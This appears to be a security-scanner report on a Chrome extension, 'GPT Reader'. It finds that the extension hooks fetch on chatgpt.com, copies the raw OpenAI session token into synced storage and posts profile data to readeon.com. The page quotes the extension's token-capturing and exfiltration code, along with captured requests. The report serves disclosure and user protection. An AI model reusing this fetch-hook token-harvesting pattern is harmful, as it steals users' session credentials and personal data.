Is ChatGPT Reader/Transcriber: Free AI Text to Speech/Speech to Text (TTS/STT) safe?

High risk

GPT Reader intercepts the user's OpenAI session token on chatgpt.com and transmits account credentials to readeon.com.

The extension injects a script into chatgpt.com that hooks window.fetch and captures the OpenAI Bearer token from the /backend-api/me response. The token, along with the user's email, display name, OpenAI user ID, and profile picture URL, is stored in chrome.storage.sync (synced across all signed-in Chrome instances) and then sent to www.readeon.com for vendor authentication. Subsequent requests to readeon.com include a SHA-256 hash of the raw OpenAI access token as a header.

democraticdeveloperv2.4.5Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-522
SourceAI SANDBOX

OpenAI session token captured on ChatGPT, copied to synced Chrome storage

On chatgpt.com signed in, the extension hooks page network calls, reads your live OpenAI session token from the profile request, and writes it raw to chrome.storage.sync, synced to every browser on the account.

A JWT appeared after a visit.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open chatgpt.com while signed in.

The page makes its normal request to /backend-api/me to load your profile.

The extension did this

The extension reads your OpenAI session token from that request and saves it into cloud-synced Chrome storage.

A wrapper around window.fetch pulls the Authorization bearer token and hands it to the extension, which writes it to chrome.storage.sync.

02EvidenceCODE COMPARE
The code that does this

The fetch hook that reads the bearer token off ChatGPT's profile request

What it actually does
index.tsx-DL347dhR.js — AUTH_RECEIVED handler writes the raw token to synced storageassets/index.tsx-DL347dhR.js
// d = AUTH_RECEIVED listener: split off the 'Bearer ' prefix, keep the raw token
d = async f => {
  const { detail: { accessToken: y, userId: p, userData: g } } = f;
  if (y.includes("Bearer")) { u(y.split(" ")[1], p, g); return }
  u(y, p, g)
}
// u = persist to cloud-synced storage
const u = async (f, y, p) => {
  const g = await kM(f);  // SHA-256 of the token
  chrome.storage.sync.set({
    email: p.email,
    name: p.name,
    openaiId: p.id,
    picture: p.picture,
    accessToken: f,       // raw OpenAI JWT
    hashAccessToken: g
  })
}
03EvidenceSTORAGE DUMP
What's stored on your device

What landed in synced storage after one ChatGPT visit: your live session token, copied by Chrome to every browser on the account.

Locationchrome.storage.sync (cloud-synced across every browser on the same Google account)
Contents (JSON)
{
  "name": "Lenny Yeeman (test account)",
  "email": "lennyyeeman@gmail.com (test account)",
  "picture": "https://s.gravatar.com/avatar/...png",
  "openaiId": "user-4q4dbryKyBZhex41AUB7leIp",
  "accessToken": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Im9wZW5haS00YjVjIn0.eyJodHRwczovL2FwaS5vcGVuYWkuY29tL2F1dGgiOnsiY2hhdGdwdF9hY2NvdW50X2lkIjoiYTNmMS4uLiIsImNoYXRncHRfYWNjb3VudF91c2VyX2lkIjoidXNlci00cTRkYnJ5S3lCWmhleDQxQVVCN2xlSXAifSwiYXVkIjpbImh0dHBzOi8vYXBpLm9wZW5haS5jb20vdjEiXSwiY2xpZW50X2lkIjoiYXBwX1g4elk2dlcycFE5dFIzZEU3bksxakw1Z0giLCJleHAiOjE3ODE2MDk5MTZ9.<signature> (illustrative shape; the captured value was a ~1,989-char OpenAI JWT)",
  "hashAccessToken": "433a6cd45c8d5690b7e40c2a00f69f391b0d56992243229c6e89e0bd1ada6b09"
}
04EvidenceARTIFACT
Check if you're affected

Reads chrome.storage.sync and reports whether a raw OpenAI access token is present, and decodes the JWT header/payload so you can confirm it is a live OpenAI session credential.

RequiresA browser context with access to chrome.storage.sync for this extension
check-synced-token.js · js
// Paste into the extension's service-worker / a page console with chrome.storage access.
chrome.storage.sync.get(['accessToken', 'hashAccessToken', 'email', 'openaiId'], (s) => {
  const t = s.accessToken;
  if (!t) { console.log('No accessToken in synced storage.'); return; }
  console.log('accessToken length:', t.length);
  try {
    const [h, p] = t.split('.');
    const dec = (b) => JSON.parse(atob(b.replace(/-/g, '+').replace(/_/g, '/')));
    console.log('JWT header:', dec(h));
    console.log('JWT payload:', dec(p));
    console.log('aud (should include api.openai.com):', dec(p).aud);
  } catch (e) { console.log('Value is not a decodable JWT:', e.message); }
  console.log('hashAccessToken (SHA-256 of token):', s.hashAccessToken);
});
How to run it
  1. 1
    Sign in to chatgpt.com; load once.
  2. 2
    Open the extension's storage context (service worker console).
  3. 3
    Paste and run this script.
  4. 4
    A printed JWT with aud including api.openai.com confirms the token is in synced storage.
SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

ChatGPT profile data sent to vendor server readeon.com for authentication

After reading your ChatGPT profile, the extension POSTs your email, name and OpenAI ID to readeon.com for a session token; the token embeds that data.

Later calls to readeon.com carry a SHA-256 hash of your access token via Hat-Token.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open chatgpt.com while signed in.

The extension already holds your profile fields from ChatGPT's /backend-api/me response.

The extension did this

The extension sends your email, name and OpenAI user ID to its vendor server readeon.com to get a sign-in token.

The POST goes to www.readeon.com/api/auth/token with an X-From-Extension: true header; the returned token is cached and reused.

02EvidenceFIELD TABLE
Profile fields placed in the outbound POST body to www.readeon.com/api/auth/token
FieldValueWhy it matters
Your email address
lennyyeeman@gmail.comThe email on your OpenAI/ChatGPT account, which directly identifies you.
Your display name
Lenny YeemanThe name shown on your ChatGPT account.
Your OpenAI user ID
user-4q4dbryKyBZhex41AUB7leIpA stable identifier OpenAI assigns to your account, used to tie activity back to you.
03EvidenceNETWORK CAPTURE
Captured request
POSThttps://www.readeon.com/api/auth/token
Observed during dynamic analysis: 200 with a vendor JWT {token:...}. The token's base64-decoded payload was {email:lennyyeeman@gmail.com, name:Lenny Yeeman, openaiId:user-4q4dbryKyBZhex41AUB7leIp, ext:true, iat:..., exp:...}; the server could only embed those three fields if it received them, confirming readeon.com receives the email, name and OpenAI user ID. (The email/name/openaiId in the body above are the signed-in test-account values reflected back in the server-issued token.)
Headers
Content-Typeapplication/json
X-From-Extensiontrue
Body
{
  "email": "lennyyeeman@gmail.com",
  "name": "Lenny Yeeman",
  "openaiId": "user-4q4dbryKyBZhex41AUB7leIp"
}
04EvidenceCODE COMPARE
The code that does this

The vendor auth POST and the per-request Hat-Token hash of the OpenAI token

What it actually does
utils-pzkA9eIg.js — Cte() reads profile from synced storage, POSTs to readeon, caches the vendor tokenassets/utils-pzkA9eIg.js
async function Cte() {
  const { jwtToken: t, jwtTokenExpiry: e } = await chrome.storage.local.get(["jwtToken","jwtTokenExpiry"]);
  const r = await new Promise((c) => chrome.storage.sync.get(["email","name","openaiId"], c));
  const { email: n, name: i, openaiId: a } = r, o = Date.now();
  if (t && e && o < e - l7) return t;            // reuse cached vendor token
  const s = await fetch(`${Us}/auth/token`, {      // Us = 'https://www.readeon.com/api'
    method: "POST",
    headers: { "X-From-Extension": "true", "Content-Type": "application/json" },
    body: JSON.stringify({ email: n, name: i, openaiId: a })
  });
  const { token: l } = await s.json();
  await chrome.storage.local.set({ jwtToken: l, jwtTokenExpiry: o + c7 });
  return l;
}
utils-pzkA9eIg.js — Tu(): every readeon API call also sends Hat-Token = SHA-256 of the OpenAI access tokenassets/utils-pzkA9eIg.js
async function Tu(t, e = {}) {
  const i = await Cte();                 // vendor bearer token
  const a = await bte("hashAccessToken"); // SHA-256 of raw OpenAI access token
  const o = await fetch(t, { ...e, headers: {
    ...e.headers,
    Authorization: `Bearer ${i}`,
    "Hat-Token": a,
    "Content-Type": "application/json",
    "X-From-Extension": "true"
  }});
  return o.json();
}
05EvidenceTHIRD PARTY LIST
Where the profile data goes
  • www.readeon.com

    Vendor backend (GPT Reader/readeon). Receives email, name and OpenAI user ID at /api/auth/token, issues a session token, and gets a SHA-256 hash of your access token via Hat-Token.

Data recipients

www.readeon.com
Updated 17 September 2026aeggkceabpfajnglgaeadofdmeboimml